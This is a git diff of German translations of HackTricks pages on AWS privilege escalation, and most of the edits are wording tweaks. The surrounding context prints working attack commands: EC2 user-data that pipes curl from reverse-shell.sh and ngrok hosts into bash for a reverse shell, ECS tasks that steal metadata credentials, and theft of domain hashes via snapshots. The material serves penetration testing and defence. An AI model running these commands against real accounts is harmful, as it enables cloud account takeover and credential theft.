zu potenziell jedem Benutzer, dessen Anmeldeinformationen der Angreifer kennt, dies könnte es ermöglichen, den MFA-Schutz zu umgehen. ### `cognito-idp:AdminUpdateUserAttributes` -Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erlangen.\ +Ein Angreifer mit dieser Berechtigung könnte die E-Mail-Adresse oder Telefonnummer oder ein anderes Attribut eines Benutzers unter seiner Kontrolle ändern, um zu versuchen, mehr Privilegien in einer zugrunde liegenden Anwendung zu erhalten.\ Dies ermöglicht es, eine E-Mail-Adresse oder Telefonnummer zu ändern und sie als verifiziert festzulegen. ```bash aws cognito-idp admin-update-user-attributes \ @@ -178,13 +178,13 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**Potenzielle Auswirkungen:** Potenzieller indirekter Privilegienausbau in der zugrunde liegenden Anwendung, die den Cognito User Pool verwendet und Privilegien basierend auf Benutzerattributen gewährt. +**Potenzielle Auswirkungen:** Potenzieller indirekter Privilegienausbau in der zugrunde liegenden Anwendung, die Cognito User Pool verwendet und Privilegien basierend auf Benutzerattributen gewährt. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` Ein Angreifer mit dieser Berechtigung könnte **einen neuen User Pool Client erstellen, der weniger eingeschränkt ist** als bereits vorhandene Pool-Clients. Zum Beispiel könnte der neue Client jede Art von Methode zur Authentifizierung zulassen, kein Geheimnis haben, die Token-Widerrufung deaktiviert haben und Tokens für einen längeren Zeitraum gültig sein lassen... -Das gleiche kann getan werden, wenn anstelle der Erstellung eines neuen Clients ein **bestehender modifiziert wird**. +Das gleiche kann getan werden, wenn anstatt einen neuen Client zu erstellen, ein **bestehender modifiziert wird**. In der [**Befehlszeile**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (oder dem [**Update**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) können Sie alle Optionen sehen, überprüfen Sie es! ```bash @@ -214,7 +214,7 @@ aws cognito-idp start-user-import-job \ curl -v -T "PATH_TO_CSV_FILE" \ -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` -(In dem Fall, dass Sie einen neuen Importauftrag erstellen, benötigen Sie möglicherweise auch die iam passrole-Berechtigung, ich habe es noch nicht getestet). +(Im Falle, dass Sie einen neuen Importauftrag erstellen, benötigen Sie möglicherweise auch die iam passrole-Berechtigung, ich habe es noch nicht getestet). **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur IAM-Rolle des Identitätspools für authentifizierte Benutzer. Indirekte Privilegieneskalation zu anderen App-Funktionalitäten, indem Sie jeden Benutzer erstellen können. @@ -239,7 +239,7 @@ Dies ist eine sehr häufige Berechtigung, die standardmäßig in Rollen von Cogn Diese Berechtigung erlaubt das Lesen von Benutzerinformationen der Identitätspools und Identitäts-IDs innerhalb der Identitätspools (was keine sensiblen Informationen sind).\ Identitäts-IDs könnten [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) zugewiesen sein, die Informationen über die Sitzungen enthalten (AWS definiert es als **gespeichertes Spiel**). Es könnte möglich sein, dass dies eine Art von sensiblen Informationen enthält (aber die Wahrscheinlichkeit ist ziemlich gering). Sie können auf der [**Aufzählungsseite**](../aws-services/aws-cognito-enum/) nachlesen, wie Sie auf diese Informationen zugreifen können. -Ein Angreifer könnte auch diese Berechtigungen nutzen, um **sich selbst in einen Cognito-Stream einzuschreiben, der Änderungen** an diesen Datasets veröffentlicht oder eine **Lambda-Funktion, die bei Cognito-Ereignissen ausgelöst wird**. Ich habe nicht gesehen, dass dies verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich. +Ein Angreifer könnte auch diese Berechtigungen nutzen, um **sich selbst in einen Cognito-Stream einzuschreiben, der Änderungen an diesen Datasets veröffentlicht** oder eine **Lambda-Funktion, die bei Cognito-Ereignissen ausgelöst wird**. Ich habe nicht gesehen, dass dies verwendet wird, und ich würde hier keine sensiblen Informationen erwarten, aber es ist nicht unmöglich. ### Automatische Tools diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index de4217d8e..6545fef87 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -52,7 +52,7 @@ Nach der Erstellung der Pipeline aktualisiert der Angreifer deren Definition, um > [!NOTE] > Beachten Sie, dass die **Rolle** in **Zeile 14, 15 und 27** eine Rolle sein muss, die **von datapipeline.amazonaws.com übernommen werden kann**, und die Rolle in **Zeile 28** muss eine **Rolle sein, die von ec2.amazonaws.com mit einem EC2-Profil-Instanz übernommen werden kann**. > -> Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (d.h. Sie können nur diese stehlen). +> Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (Sie können also nur diese stehlen). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 87ce3ddaa..95a06fe8f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -12,8 +12,8 @@ Für weitere Informationen zu Verzeichnisdiensten siehe: ### `ds:ResetUserPassword` -Diese Berechtigung erlaubt es, das **Passwort** eines **existierenden** Benutzers im Active Directory zu **ändern**.\ -Standardmäßig ist der einzige existierende Benutzer **Admin**. +Diese Berechtigung erlaubt es, das **Passwort** eines **vorhandenen** Benutzers im Active Directory zu **ändern**.\ +Standardmäßig ist der einzige vorhandene Benutzer **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` @@ -27,6 +27,6 @@ Und dann **ihnen eine AWS IAM-Rolle zu gewähren**, wenn sie sich anmelden, soda
-Offensichtlich gibt es keine Möglichkeit, die Anwendungszugriffs-URL, die AWS Management Console zu aktivieren und Berechtigungen zu gewähren. +Offensichtlich gibt es keinen Weg, die Anwendungszugriffs-URL, die AWS Management Console zu aktivieren und Berechtigungen zu gewähren. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 36ab00c6a..435f33492 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -Für weitere Informationen zu dynamodb siehe: +Für weitere Informationen über dynamodb siehe: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ Für weitere Informationen zu dynamodb siehe: ### Post Exploitation -Soweit ich weiß, gibt es **keinen direkten Weg, um Privilegien in AWS nur durch einige AWS `dynamodb` Berechtigungen zu eskalieren**. Sie können **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post Exploitation-Seite** berücksichtigt: +Soweit ich weiß, gibt es **keinen direkten Weg, um Privilegien in AWS nur durch einige AWS `dynamodb` Berechtigungen zu eskalieren**. Du kannst **sensible** Informationen aus den Tabellen lesen (die AWS-Anmeldeinformationen enthalten könnten) und **Informationen in die Tabellen schreiben** (was andere Schwachstellen auslösen könnte, wie z.B. Lambda-Code-Injektionen...), aber all diese Optionen sind bereits auf der **DynamoDB Post Exploitation-Seite** berücksichtigt: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 257ba78b6..23de00a1a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,7 +6,7 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -Ein Angreifer mit diesen Berechtigungen wird potenziell in der Lage sein, **Volumes-Snapshots lokal herunterzuladen und zu analysieren** und nach sensiblen Informationen darin zu suchen (wie Geheimnisse oder Quellcode). Finden Sie heraus, wie Sie dies tun können in: +Ein Angreifer mit diesen Berechtigungen wird in der Lage sein, **Volumes-Snapshots lokal herunterzuladen und zu analysieren** und nach sensiblen Informationen darin zu suchen (wie Geheimnisse oder Quellcode). Finden Sie heraus, wie Sie dies tun können in: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -20,7 +20,7 @@ Das Tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Fl ### **`ec2:CreateSnapshot`** -Jeder AWS-Benutzer, der die Berechtigung **`EC2:CreateSnapshot`** besitzt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz, die er kontrolliert, anbindet und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert. +Jeder AWS-Benutzer, der die Berechtigung **`EC2:CreateSnapshot`** besitzt, kann die Hashes aller Domänenbenutzer stehlen, indem er einen **Snapshot des Domänencontrollers** erstellt, ihn an eine Instanz anbindet, die er kontrolliert, und die **NTDS.dit und SYSTEM** Registrierungs-Hive-Datei für die Verwendung mit dem Impacket-Projekt secretsdump exportiert. Sie können dieses Tool verwenden, um den Angriff zu automatisieren: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) oder Sie könnten eine der vorherigen Techniken nach dem Erstellen eines Snapshots verwenden. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 04da553a8..842848405 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -Für mehr **Infos über EC2** siehe: +Für mehr **Informationen über EC2** siehe: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Zugriff über rev shell in Benutzerdaten** -Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Sie müssen auf diese Weise keine Sicherheitsgruppe angeben. +Sie können eine neue Instanz mit **Benutzerdaten** (`--user-data`) starten, die Ihnen eine **rev shell** sendet. Auf diese Weise müssen Sie keine Sicherheitsgruppe angeben. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -67,7 +67,7 @@ aws-ecs-privesc.md Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie in der Lage sein, die Instanz im Cluster zu registrieren und den kommentierten Angriff durchzuführen. -**Potenzielle Auswirkungen:** Direkter Privesc auf ECS-Rollen, die an Aufgaben angehängt sind. +**Potenzielle Auswirkungen:** Direkter Privilegieneskalation zu ECS-Rollen, die an Aufgaben angehängt sind. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** @@ -80,19 +80,19 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` -Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **sie nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz **verknüpfen:** +Wenn das **Instanzprofil eine Rolle hat** und der Angreifer **diese nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte **ein Instanzprofil ohne Rolle finden** oder **ein neues erstellen** (`iam:CreateInstanceProfile`), **die Rolle** zu diesem **Instanzprofil hinzufügen** (wie zuvor besprochen) und **das Instanzprofil** mit einer kompromittierten Instanz verknüpfen: - Wenn die Instanz **kein Instanzprofil hat** (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen bestimmten Instanzprofilstatus besitzen). +**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) Mit diesen Berechtigungen ist es möglich, das Instanzprofil, das mit einer Instanz verbunden ist, zu ändern. Wenn der Angriff bereits Zugriff auf eine Instanz hatte, kann er Anmeldeinformationen für weitere Instanzprofilrollen stehlen, indem er das damit verbundene ändert. -- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **verbinden** \* +- Wenn es **ein Instanzprofil hat**, können Sie das Instanzprofil **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id @@ -104,7 +104,7 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` -**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus haben). +**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu einer anderen EC2-Rolle (Sie müssen eine AWS EC2-Instanz kompromittiert haben und einige zusätzliche Berechtigungen oder einen spezifischen Instanzprofilstatus besitzen). ### `ec2:RequestSpotInstances`,`iam:PassRole` @@ -123,7 +123,7 @@ aws ec2 request-spot-instances \ Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanzen ändern. Unter ihnen kann er **die Benutzerdaten ändern**, was bedeutet, dass er die Instanz **beliebige Daten ausführen** lassen kann. Dies kann verwendet werden, um eine **Rev Shell zur EC2-Instanz** zu erhalten. -Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`**. +Beachten Sie, dass die Attribute nur **geändert werden können, während die Instanz gestoppt ist**, daher sind die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** erforderlich. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -164,7 +164,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **rev shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die rev shell ausführen. +Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` und `ec2:ModifyLaunchTemplate`** kann eine **neue Launch-Template-Version** mit einer **Rev-Shell in** den **Benutzerdaten** und **jeder EC2 IAM-Rolle darauf** erstellen, die Standardversion ändern, und **jede Autoscaler-Gruppe**, die dieses **Launch-Template** verwendet und so **konfiguriert** ist, dass sie die **neueste** oder die **Standardversion** verwendet, wird die **Instanzen** mit diesem Template **erneut starten** und die Rev-Shell ausführen. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -182,7 +182,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Startkonfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoskalierungsgruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um die **IAM-Rolle** zu **stehlen**. +Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch-Konfiguration erstellen** mit einer **IAM-Rolle** und einer **rev shell** im **Benutzerdaten**, dann **eine Autoscaling-Gruppe** aus dieser Konfiguration erstellen und auf die rev shell warten, um **die IAM-Rolle zu stehlen**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der in der Launch-Konfiguration oder im Launch-Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist). +Die Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reichen nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, da Sie zur Anfügung der im Launch Configuration oder im Launch Template angegebenen Rolle **die Berechtigungen `iam:PassRole` und `ec2:RunInstances` benötigen** (was eine bekannte Privilegieneskalation ist). ### `ec2-instance-connect:SendSSHPublicKey` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md index 5beaca838..53d283b3d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md @@ -20,7 +20,7 @@ Für weitere Informationen zum Herunterladen von Bildern: Ein Angreifer mit all diesen Berechtigungen **kann sich bei ECR anmelden und Bilder hochladen**. Dies kann nützlich sein, um Privilegien in andere Umgebungen zu eskalieren, in denen diese Bilder verwendet werden. -Um zu lernen, wie man ein neues Bild hochlädt/aktualisiert, siehe: +Um zu lernen, wie man ein neues Bild hochlädt oder ein bestehendes aktualisiert, siehe: {{#ref}} ../aws-services/aws-eks-enum.md @@ -91,7 +91,7 @@ aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name ### `ecr:PutRegistryPolicy` -Ein Angreifer mit dieser Berechtigung könnte **die** **Registry-Richtlinie** **ändern**, um sich selbst, seinem Konto (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren. +Ein Angreifer mit dieser Berechtigung könnte die **Registry-Richtlinie** **ändern**, um sich selbst, seinem Konto (oder sogar allen) **Lese-/Schreibzugriff** zu gewähren. ```bash aws ecr set-repository-policy \ --repository-name \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index 302cfd8cd..3828ae103 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Mehr **Info über ECS** in: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführen**. +Ein Angreifer, der die Berechtigung `iam:PassRole`, `ecs:RegisterTaskDefinition` und `ecs:RunTask` in ECS missbraucht, kann **eine neue Aufgabenbeschreibung** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **ausführt**. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -57,7 +57,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Aufgabenbeschreibung generieren** mit einem **bösartigen Container**, der die Metadaten-Anmeldeinformationen stiehlt und **diesen ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.** +Genau wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** oder **`ecs:CreateService`** in ECS missbraucht, **eine neue Task-Definition** mit einem **bösartigen Container** erstellen, der die Metadaten-Anmeldeinformationen stiehlt und **diese ausführen, indem er einen neuen Dienst mit mindestens 1 laufender Aufgabe erstellt.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -97,7 +97,7 @@ aws ecs run-task \ ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** Dieses Szenario ist wie die vorherigen, aber **ohne** die **`iam:PassRole`** Berechtigung.\ -Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, selbst wenn es ohne eine Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten laufen.\ +Das ist immer noch interessant, denn wenn Sie einen beliebigen Container ausführen können, auch wenn es ohne Rolle ist, könnten Sie **einen privilegierten Container ausführen, um** zum Knoten zu entkommen und **die EC2 IAM-Rolle** sowie die **anderen ECS-Containerrollen** zu stehlen, die im Knoten ausgeführt werden.\ Sie könnten sogar **andere Aufgaben zwingen, innerhalb der EC2-Instanz** zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im [**Privesc zu Knoten Abschnitt**](aws-ecs-privesc.md#privesc-to-node) besprochen). > [!WARNING] @@ -178,7 +178,7 @@ Du kannst **Beispiele für diese Optionen** in **früheren ECS privesc Abschnitt ### `ssm:StartSession` -Überprüfe auf der **ssm privesc Seite**, wie du diese Berechtigung missbrauchen kannst, um **privesc zu ECS**: +Überprüfe auf der **ssm privesc Seite**, wie du diese Berechtigung ausnutzen kannst, um **privesc zu ECS** zu erreichen: {{#ref}} aws-ssm-privesc.md @@ -186,7 +186,7 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Überprüfe auf der **ec2 privesc Seite**, wie du diese Berechtigungen missbrauchen kannst, um **privesc zu ECS**: +Überprüfe auf der **ec2 privesc Seite**, wie du diese Berechtigungen ausnutzen kannst, um **privesc zu ECS** zu erreichen: {{#ref}} aws-ec2-privesc.md @@ -201,7 +201,7 @@ TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, > [!NOTE] > TODO: Teste dies -Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren**. Dies ermöglicht es dem Angreifer, **willkürlichen Code innerhalb des Dienstes auszuführen**. +Ein Angreifer mit den Berechtigungen `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` und `ecs:DescribeTaskSets` kann **ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren**. Dies ermöglicht es dem Angreifer, **beliebigen Code innerhalb des Dienstes auszuführen**. ```bash bashCopy code# Register a task definition with a reverse shell echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md index 91e6e62ee..4d779ed25 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md @@ -10,11 +10,11 @@ Mehr **Info über EFS** in: ../aws-services/aws-efs-enum.md {{#endref}} -Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugang dazu haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen. +Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugriff darauf haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen. ### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy` -Mit einer dieser Berechtigungen kann ein Angreifer **die Dateisystemrichtlinie ändern**, um **Ihnen Zugang** zu gewähren oder sie einfach **zu löschen**, sodass der **Standardzugang** gewährt wird. +Mit einer dieser Berechtigungen kann ein Angreifer **die Dateisystemrichtlinie ändern**, um **Ihnen Zugriff** darauf zu gewähren, oder sie einfach **löschen**, sodass der **Standardzugriff** gewährt wird. Um die Richtlinie zu löschen: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md index 9cef9f57c..1f572a88e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md @@ -15,7 +15,7 @@ Mehr **Info über Elastic Beanstalk** in: ### `elasticbeanstalk:RebuildEnvironment`, S3 Schreibberechtigungen & viele andere -Mit **Schreibberechtigungen für den S3-Bucket**, der den **Code** der Umgebung enthält, und Berechtigungen zum **Wiederherstellen** der Anwendung (es werden `elasticbeanstalk:RebuildEnvironment` und einige weitere, die mit `S3`, `EC2` und `Cloudformation` zusammenhängen, benötigt), können Sie den **Code** **ändern**, die App **neu erstellen** und beim nächsten Zugriff auf die App wird sie **Ihren neuen Code ausführen**, was es dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren. +Mit **Schreibberechtigungen für den S3-Bucket**, der den **Code** der Umgebung enthält, und Berechtigungen zum **Wiederherstellen** der Anwendung (es werden `elasticbeanstalk:RebuildEnvironment` und einige weitere, die sich auf `S3`, `EC2` und `Cloudformation` beziehen, benötigt), können Sie den **Code** **modifizieren**, die App **neu erstellen** und beim nächsten Zugriff auf die App wird sie **Ihren neuen Code ausführen**, was dem Angreifer ermöglicht, die Anwendung und die IAM-Rollenanmeldeinformationen zu kompromittieren. ```bash # Create folder mkdir elasticbeanstalk-eu-west-1-947247140022 @@ -111,7 +111,7 @@ Werkzeug==1.0.1 {{#endtab }} {{#endtabs }} -Sobald Sie **Ihre eigene Beanstalk-Umgebung** mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die **Umgebung des Opfers** zu **migrieren**. Dazu müssen Sie die **Bucket-Richtlinie** Ihres Beanstalk-S3-Buckets **aktualisieren**, damit das **Opfer darauf zugreifen kann** (Bitte beachten Sie, dass dies den Bucket für **ALLE** **öffnet**): +Sobald Sie **Ihre eigene Beanstalk-Umgebung** mit Ihrer Rev-Shell ausführen, ist es Zeit, sie in die **Umgebung des Opfers** zu **migrieren**. Dazu müssen Sie die **Bucket-Richtlinie** Ihres Beanstalk-S3-Buckets 